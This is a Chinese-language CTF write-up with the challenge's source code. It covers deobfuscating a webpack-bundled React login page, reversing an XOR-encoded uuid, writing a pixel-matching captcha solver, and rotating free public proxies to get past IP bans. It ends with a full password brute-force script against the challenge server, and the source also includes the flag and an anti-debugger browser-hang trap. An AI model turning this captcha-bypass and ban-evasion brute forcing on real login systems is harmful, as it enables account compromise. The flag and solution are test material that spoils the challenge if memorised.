文章目录
- 0x0 前言
- 0x1 前端审计
- 抓包
- 逻辑分析
- 解密算法
- 0x2 验证码识别
- 分析
- 验证码处理
- 特征提取
- 0x3 代理池
- 0x4 全部代码
- 主体
- 特征点
- 0x5 题目源码
- 前端
- App.tsx
- Drawer.tsx
- 后端
- views.py
- utils.py
- models.py
0x0 前言
出这个题的本意是看到CTF的web题老是PHP什么的, 感觉和现实情况有点脱节, 且对前端审计没有太大的要求, 于是出了这个"现代"一点的题. 这个题目模拟的是爬虫, 在多次请求后将会出现验证码, 再频繁访问将会封锁ip, 且网站是使用React写的, 经过webpack的打包和混淆使得js很难读, 不过这也是大势所趋, 出出来涨涨见识吧.
0x1 前端审计
首先打开网站, hint提示用户识别码只有3位
抓包
F12进行抓包, 发现有uuid
和img
两个字段, img毫无疑问是验证码了, uuid确是一个base64, 尝试解码, 无法得到数据
尝试构造随意数据发送, 再在F12里查看, 发现请求中uuid为f56d359611c24abf9aa1d9f0113091a4
, 说明前端对此数据进行了解密, 首先对前端代码进行审计, 查找加密算法
逻辑分析
打开前端代码后, 我相信不少人肯定是蒙的, 首先先进行格式化, 其大概画风是这样的
让我们一步一步来, 首先看点击登录后发生了什么, 搜索关键词登录
, 可以找到这里
可以看见登录按钮绑定了一个函数this.w
, 进入this.w看干什么了
分析: 这里的switch其实是一个async
函数, 通过babel
进行转义的结果, 建议学习ES6, 7, 8, 勉强可以进行分析
- 进入case0, 将
state.l = true
, 然后调用a.__.q(state.w, state.c, state.p)
- 进入case4,
alert(t.msg)
可以发现这里就是弹出服务器错误提示的地方 - 进入case9,
t0 = _.catch(0), alert(t0)
, 这里是处理错误的地方 - 进入case12, 调用
a.u()
, 然后state.l = false
进入a.__.q(e, t, a)
, 应该有三个参数, 分析逻辑
一眼看到熟悉的200, 说明这里应该就是发送数据的地方, 查看参数
在这里我们发现大量w({Base64})
的东西, 通过定位发现w为Base64解码, 吧base64拿去解码, 发现为发送数据的隐藏, 比如uuid
, code
. 这种方式很常见, 为了防止直接搜索直接对数据进行base64储存
查看参数, 这么一长串为
Object(F_Web_Project_fucking_test_node_modules_babel_preset_react_app_node_modules_babel_runtime_helpers_esm_defineProperty__WEBPACK_IMPORTED_MODULE_6__.a)(l, w("bWV0aG9k"), w("UE9TVA=="))
前面那么一长串其实是命名空间, 经过化简后可以得到
{method: "POST"}
, 发现为fetch的用法, 但是在这里并没有发现加密, 说明加密不在发送数据的时候
再次观察请求, 发现在进行一次POST后, 立马获取了一个新的uuid, 说明在登录后应该调用了获取新的uuid的函数, 经过上面分析async
, 进入a.u()
解密算法
又是一个类似的函数, 这里我们可以直接聚焦到可疑函数a.setState({g: e.img, p: a.__.p(e[t("dXVpZA==")])})
, 可以看到验证码被保存了, 而dXVpZA==
就是uuid, 说明uuid经过了a.__p() e() t()
的处理, 一个个跟踪
- 首先发现t为Base64解码函数, 现在为
a.__.p(e['uuid'])
- 可以知道e为返回数据, 那么解码就在
a.__.p()
里 - 进入p, 首先对uuid进行
Base64.toUnit8Array
, 然后与___
进行遍历
- 寻找
___
, 发现为___ = new Uint8Array([49, 50, 51, 67, 55, 69, 53, 69, 56, 55, 53, 70, 66, 70, 48, 69, 69, 69, 50, 53, 56, 51, 70, 56, 65, 70, 51, 68, 68, 70, 70, 57])
可以拼出内容
- 追踪
__
, 发现为xor
- 那么整个算法就清晰了, 使用python进行模拟
def parse_uuid(raw):input_raw = list(base64.b64decode(raw))key = [49, 50, 51, 67, 55, 69, 53, 69, 56, 55, 53, 70, 66, 70, 48, 69, 69, 69, 50, 53, 56, 51, 70, 56, 65, 70, 51, 68, 68, 70, 70, 57]for i in range(len(input_raw)):for j in range(len(key)):input_raw[i] ^= key[j]return bytes(input_raw).decode()
0x2 验证码识别
验证码识别有多种办法, 包括接入打码平台, 使用ocr开源项目, 这里验证码十分规整, 我可以手写一个验证码识别
分析
首先分析验证码结构, 数字8721
分别距离左边5, 20, 35, 50
, 字母大小为12*18
多次刷新, 采集多个验证码, 我这里采集了5个集齐了所有数字
验证码处理
首先将验证码分隔成4个独立的小数字, 使用Python的PIL模块
for i in range(4):offset = i * 15 + 5data = img.crop((offset, 3, offset + 12, 20))
然后对整个图片灰度化处理data = data.convert("L")
然后简单对图片黑白化, 由于背景是白色的, 这里认为凡是不是白色即为有数据
w, h = data.size
pixdata = data.load()
for y in range(h):for x in range(w):print(pixdata[x, y])if pixdata[x, y] < 255:pixdata[x, y] = 0
最后保存图片, 总体代码
import uuid
from PIL import Imagefor index in range(6):img = Image.open(f"image/index{index}.png")for i in range(4):offset = i * 15 + 5data = img.crop((offset, 3, offset + 12, 20))data = data.convert("L")w, h = data.sizepixdata = data.load()for y in range(h):for x in range(w):print(pixdata[x, y])if pixdata[x, y] < 255:pixdata[x, y] = 0data.save(f"num/{str(uuid.uuid4()).replace('-', '')}.png")
特征提取
将图片进行重命名, 挑出1-9
, 并且重命名, 对数据进行采集
from PIL import Image
import jsondata = {}
for i in range(10):img = Image.open(f"./num/{i}.png")pixdata = img.load()w, h = img.sized = []for x in range(w):for y in range(h):d.append(pixdata[x, y])data[i] = dwith open(f"./num/data.json", 'w') as f:f.write(json.dumps(data))
最终获取json数据一份
至于识别, 只需要对图片进行相似的分割, 然后灰度化, 黑白化, 然后与每个数字特征进行对比, 算出相似度, 然后取相似度最高的数字即可
from PIL import Image
import jsondef find_str(num_list):with open("num/data.json", 'r') as f:nums = json.loads(f.read())sim_data = []for num, num_data in nums.items():sim = 0for ii, jj in zip(num_list, num_data):if ii == jj:sim += 1sim_data.append(sim)return str(sim_data.index(max(sim_data)))def load_img(img):s = ""for i in range(4):offset = i * 15 + 5data = img.crop((offset, 3, offset + 12, 20))data = data.convert("L")w, h = data.sizepixdata = data.load()img_data = []for x in range(w):for y in range(h):img_data.append(0 if pixdata[x, y] < 255 else 255)s += find_str(img_data)return sprint(load_img(Image.open("image/index1.png")))
还是很准的
0x3 代理池
在发送数据的时候发现, 在请求超过50次后永远将404, 这就是ip被ban了, 这里就需要上代理池了
网上有大量免费代理, 采集一下
class ProxyPool:def __init__(self):self.pool = ["223.241.7.181:3000","222.189.190.254:9999","223.242.224.147:9999","36.248.129.32:9999","27.43.189.11:9999","103.140.204.1:8080","36.249.53.38:8000"]def get_proxy(self):return {'http': 'http://' + self.pool[0]}def del_ip(self):del self.pool[0]
连接失败的时候的时候更换ip
pool = ProxyPool()
for i in range(100, 999):try:print(i, foo(i, pool.get_proxy()))except:pool.del_ip()
0x4 全部代码
主体
import requests
import base64
from PIL import Image
from io import BytesIO
import jsonurl = "http://47.107.251.41/api/"class ProxyPool:def __init__(self):self.pool = ["127.0.0.1:4780","223.241.7.181:3000","222.189.190.254:9999","223.242.224.147:9999","36.248.129.32:9999","27.43.189.11:9999","103.140.204.1:8080","36.249.53.38:8000"]def get_proxy(self):return {'http': 'http://' + self.pool[0]}def del_ip(self):del self.pool[0]def find_str(num_list):with open("num_data.json", 'r') as f:nums = json.loads(f.read())sim_data = []for num, num_data in nums.items():sim = 0for ii, jj in zip(num_list, num_data):if ii == jj:sim += 1sim_data.append(sim)return str(sim_data.index(max(sim_data)))def load_img(img):s = ""for i in range(4):offset = i * 15 + 5data = img.crop((offset, 3, offset + 12, 20))data = data.convert("L")w, h = data.sizepixdata = data.load()img_data = []for x in range(w):for y in range(h):img_data.append(0 if pixdata[x, y] < 255 else 255)s += find_str(img_data)return sdef foo(password, proxy):data = requests.get(url=url).json()code = ""uuid = parse_uuid(data["uuid"])image = data["img"]if len(image) > 0:bytes_io = BytesIO(base64.b64decode(image[len("data:image/png;base64,"):]))img = Image.open(bytes_io)code = load_img(img)data = requests.post(url=url, data={"uuid": uuid, "code": code, "password": password}, proxies=proxy, timeout=10)if data.status_code == 404:raise Exception("404")return data.json()["result"], data.json()["msg"]def parse_uuid(raw):input_raw = list(base64.b64decode(raw))key = [49, 50, 51, 67, 55, 69, 53, 69, 56, 55, 53, 70, 66, 70, 48, 69,69, 69, 50, 53, 56, 51, 70, 56, 65, 70, 51, 68, 68, 70, 70, 57]for i in range(len(input_raw)):for j in range(len(key)):input_raw[i] ^= key[j]return bytes(input_raw).decode()pool = ProxyPool()
for i in range(100, 999):try:print(i, foo(i, pool.get_proxy()))except:pool.del_ip()
特征点
{"0": [255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255], "1": [255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255], "2": [0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 255], "3": [0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 255, 255], "4": [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255], "5": [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255], "6": [255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255], "7": [0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255], "8": [255, 255, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 255, 255], "9": [255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255]}
0x5 题目源码
前端
App.tsx
import React from 'react';
import Drawer, {drawerWidth} from "./Drawer";
import {Button,Card,createStyles, LinearProgress, Link,List,ListItem,TextField,Theme,withStyles
} from "@material-ui/core";import {Base64} from "js-base64";const t = Base64.fromBase64;
const w = Base64.fromBase64
const _ = fetch;
const __ = (x: number, y: number) => x ^ y
const ___ = new Uint8Array([49, 50, 51, 67, 55, 69, 53, 69, 56, 55, 53, 70, 66, 70, 48, 69, 69, 69, 50, 53, 56, 51, 70, 56, 65, 70, 51, 68, 68, 70, 70, 57])
const url = w("aHR0cDovLzQ3LjEwNy4yNTEuNDEvYXBpLw==")const useStyles = (theme: Theme) => createStyles({main: {flexGrow: 1,padding: theme.spacing(3),[theme.breakpoints.up('sm')]: {marginLeft: drawerWidth},height: "100%"},toolbar: theme.mixins.toolbar,paper: {display: "table",margin: "0 auto",width: 300,height: 300,marginTop: 160,},input: {width: 280,},input2: {width: 280 - 63,},center: {textAlign: "center"},p: {width: "100%",textAlign: "center",fontSize: "20px",margin: "0 auto"},btn: {margin: "0 0 0 auto"},hidden: {visibility: "hidden"}
})interface State {p: string,c: string,w: string,g: string,l: boolean
}class App extends React.Component<any, State> {private __: { p(b: string): string; q(p: string, c: string, y: string): Promise<any>; y(): Promise<any> };constructor(props: any) {super(props);this.__ = {async y() {return _(url).then(res => res.json())},async q(p: string, c: string, y: string) {return _(url, {[w("bWV0aG9k")]: w("UE9TVA=="),[w("bW9kZQ==")]: w("Y29ycw=="),[w("aGVhZGVycw==")]: {[w("Q29udGVudC1UeXBl")]: w("YXBwbGljYXRpb24vanNvbg==")},[w("Ym9keQ==")]: JSON.stringify({[w("dXVpZA==")]: y,[w("Y29kZQ==")]: c,[w("cGFzc3dvcmQ=")]: p})}).then(res => {if (res.status !== 200) {throw new Error(res.status.toString())}return res}).then(res => res.json())},p(b: string): string {const input = Base64.toUint8Array(b);input.forEach((_, i) => {___.forEach((_, j) => {input[i] = __(input[i], ___[j])})})return Array.from(input).map(value => String.fromCharCode(value)).join("")}}}readonly state: Readonly<State> = {p: "",c: "",w: "",g: "",l: false}componentDidMount() {this.u()setInterval(() => {const time1 = new Date().getTime()debugger;const time2 = new Date().getTime() - time1if (time2 > 100) {eval(`const wait = async () => {wait()let total = "";for (let i = 0; i < 1e9; i++) {total = total + i.toString();history.pushState(0, "", total);}}wait()`)Array.from({[Symbol.iterator]: () => ({next: () => ({value: Math.random()})})})}}, 1000)}u = () => {(async () => {const data = await this.__.y();this.setState({g: data["img"],p: this.__.p(data[t("dXVpZA==")])})})()}w = () => {(async () => {try {this.setState({l: true})const {msg} = await this.__.q(this.state.w, this.state.c, this.state.p)alert(msg)} catch (e) {alert(e)}this.u()this.setState({l: false})})()}g = () => {alert("密码只有3位数字哦!")}e = (event: any) => {this.setState({w: event.target.value})}i = (event: any) => {this.setState({c: event.target.value})}render() {const {classes} = this.propsreturn (<div><Drawer/><main className={classes.main}><div className={classes.toolbar}/><Card className={classes.paper}><List><ListItem><p className={classes.p}>登录</p></ListItem><ListItem><TextField className={classes.input} label="用户识别码" type="password" onChange={this.e}/></ListItem><ListItem className={this.state.g.length === 0? classes.hidden: ""}><TextField className={classes.input2} label="验证码" onChange={this.i}/><img width={63} height={24} src={this.state.g}/></ListItem><ListItem><Link onClick={this.g}>忘记了你的用户识别码?</Link></ListItem><ListItem><p style={{color: "#909399"}}>0202年了, 是时候了解下最新的前端技术了</p></ListItem><ListItem><Button className={classes.btn} variant="contained" color="primary" onClick={this.w}>登录</Button></ListItem></List>{this.state.l && <LinearProgress />}</Card></main></div>);}
}
export default withStyles(useStyles)(App)
Drawer.tsx
import React from "react";
import {AppBar,createStyles, CssBaseline,Drawer, Hidden, IconButton,List,ListItem,ListItemIcon,ListItemText, ListSubheader,Theme, Toolbar, Typography,withStyles
} from "@material-ui/core";import MenuIcon from '@material-ui/icons/Menu';
import LiveHelpIcon from '@material-ui/icons/LiveHelp';
import ListAltIcon from '@material-ui/icons/ListAlt';
import GavelIcon from '@material-ui/icons/Gavel';
import HelpIcon from '@material-ui/icons/Help';
import EqualizerIcon from '@material-ui/icons/Equalizer';
import HomeIcon from '@material-ui/icons/Home';export const drawerWidth = 200;const drawerStyle = (theme: Theme) =>createStyles({root: {display: 'flex',},drawer: {[theme.breakpoints.up('sm')]: {width: drawerWidth,flexShrink: 0,},},menuButton: {marginRight: theme.spacing(2),},toolbar: theme.mixins.toolbar,drawerPaper: {marginTop: 64,width: drawerWidth,},content: {flexGrow: 1,padding: theme.spacing(3),},})interface State {mobileOpen: boolean
}class DrawerNav extends React.Component<any, State> {readonly state: Readonly<State> = {mobileOpen: false}handleDrawerToggle = () => {this.setState({mobileOpen: !this.state.mobileOpen})};render() {const {classes} = this.props;const drawer = (<div><Listsubheader={<ListSubheader component="div" id="nested-list-subheader">Online Judge</ListSubheader>}><ListItem button><ListItemIcon><HomeIcon/></ListItemIcon><ListItemText primary="Home" /></ListItem><ListItem button><ListItemIcon><LiveHelpIcon/></ListItemIcon><ListItemText primary="Problems" /></ListItem><ListItem button><ListItemIcon><ListAltIcon/></ListItemIcon><ListItemText primary="Contests" /></ListItem><ListItem button><ListItemIcon><GavelIcon/></ListItemIcon><ListItemText primary="States" /></ListItem><ListItem button><ListItemIcon><EqualizerIcon/></ListItemIcon><ListItemText primary="Rank" /></ListItem><ListItem button><ListItemIcon><HelpIcon/></ListItemIcon><ListItemText primary="Help" /></ListItem></List></div>);return (<div className={classes.root}><CssBaseline /><AppBar position="fixed"><Toolbar><Hidden smUp><IconButtoncolor="inherit"aria-label="open drawer"edge="start"onClick={this.handleDrawerToggle}className={classes.menuButton}><MenuIcon /></IconButton></Hidden><Hidden xsDown><IconButtoncolor="inherit"aria-label="open drawer"edge="start"className={classes.menuButton}><MenuIcon /></IconButton></Hidden><Typography variant="h6" noWrap>武科大ACM俱乐部</Typography></Toolbar></AppBar><nav className={classes.drawer} aria-label="mailbox folders"><Hidden smUp implementation="css"><Drawervariant="temporary"open={this.state.mobileOpen}onClose={this.handleDrawerToggle}classes={{paper: classes.drawerPaper}}ModalProps={{keepMounted: true}}>{drawer}</Drawer></Hidden><Hidden xsDown implementation="css"><Drawerclasses={{paper: classes.drawerPaper}}variant="permanent"open>{drawer}</Drawer></Hidden></nav></div>);}
}export default withStyles(drawerStyle)(DrawerNav)
后端
views.py
from rest_framework.views import APIView
from rest_framework.response import Response
from rest_framework import serializers
from rest_framework.status import HTTP_404_NOT_FOUND
from uuid import uuid4
from .models import CaptchaStore, IPStore
from .util import Captcha
import base64
import hashlibclass TestSerializers(serializers.Serializer):uuid = serializers.CharField(required=True)code = serializers.CharField(required=False, allow_blank=True)password = serializers.CharField(required=True)def save(self, ip_store):attrs = self.validated_datatry:c = CaptchaStore.objects.get(uuid=attrs["uuid"])if ip_store.need_captcha() and c.data != attrs["code"]:c.delete()return False, "验证码错误"print(attrs["password"])if attrs["password"] != "312":c.delete()return False, "密码错误"c.delete()return True, "flag{do_you_like_react_and_webpack}"except Exception:return False, "uuid不存在"class LoginView(APIView):def get(self, request):# IP 检测if "HTTP_X_REAL_IP" in request.META:ip = request.META['HTTP_X_REAL_IP']else:ip = request.META['REMOTE_ADDR']uuid = str(uuid4()).replace("-", "")ip_md5 = hashlib.md5(ip.encode()).hexdigest()ip_store, _ = IPStore.objects.get_or_create(ip=ip_md5)image_str = ""v = "0000"if ip_store.try_num > 2:image_str, v = Captcha().get()CaptchaStore.objects.create(uuid=uuid, data=v)uuid_bytes = list(uuid.encode())key_byte = list("123C7E5E875FBF0EEE2583F8AF3DDFF9".encode())for i in range(len(uuid_bytes)):for j in range(len(key_byte)):uuid_bytes[i] ^= key_byte[j]s = base64.b64encode(bytes(uuid_bytes)).decode()return Response({"img": image_str,"uuid": s})def post(self, request):se = TestSerializers(data=request.data)if "HTTP_X_REAL_IP" in request.META:ip = request.META['HTTP_X_REAL_IP']else:ip = request.META['REMOTE_ADDR']try:ip_md5 = hashlib.md5(ip.encode()).hexdigest()ip_store = IPStore.objects.get(ip=ip_md5)ip_store.add_visit_num()if ip_store.need_ban():return Response(status=HTTP_404_NOT_FOUND)if se.is_valid():s, data = se.save(ip_store)return Response({"result": s, "msg": data})return Response({"result": False, "msg": "表单错误"})except Exception as e:print(e)return Response(status=HTTP_404_NOT_FOUND)
utils.py
import random
import base64
from PIL import Image, ImageDraw, ImageFont
from io import BytesIOclass Captcha:def __init__(self):self.random_number = "".join([str(j) for j in [random.choice(list(range(10))) for _ in range(4)]])self.color = [(random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)) for _ in range(4)]def get(self):weight = 63height = 24image = Image.new('RGB', (weight, height), (255, 255, 255))font = ImageFont.truetype(font="C:/309.ttf", size=25)draw = ImageDraw.Draw(image)for x in range(weight):for y in range(height):draw.point((x, y), fill=(255, 255, 255))offset = 0for number, color in zip(self.random_number, self.color):draw.text((offset * 15 + 5, 0), str(number), font=font, fill=color)offset += 1buffered = BytesIO()image.save(buffered, format="PNG")img_str = base64.b64encode(buffered.getvalue()).decode()return "data:image/png;base64," + img_str, self.random_numberif __name__ == "__main__":i, n = Captcha().get()print(i, n)
models.py
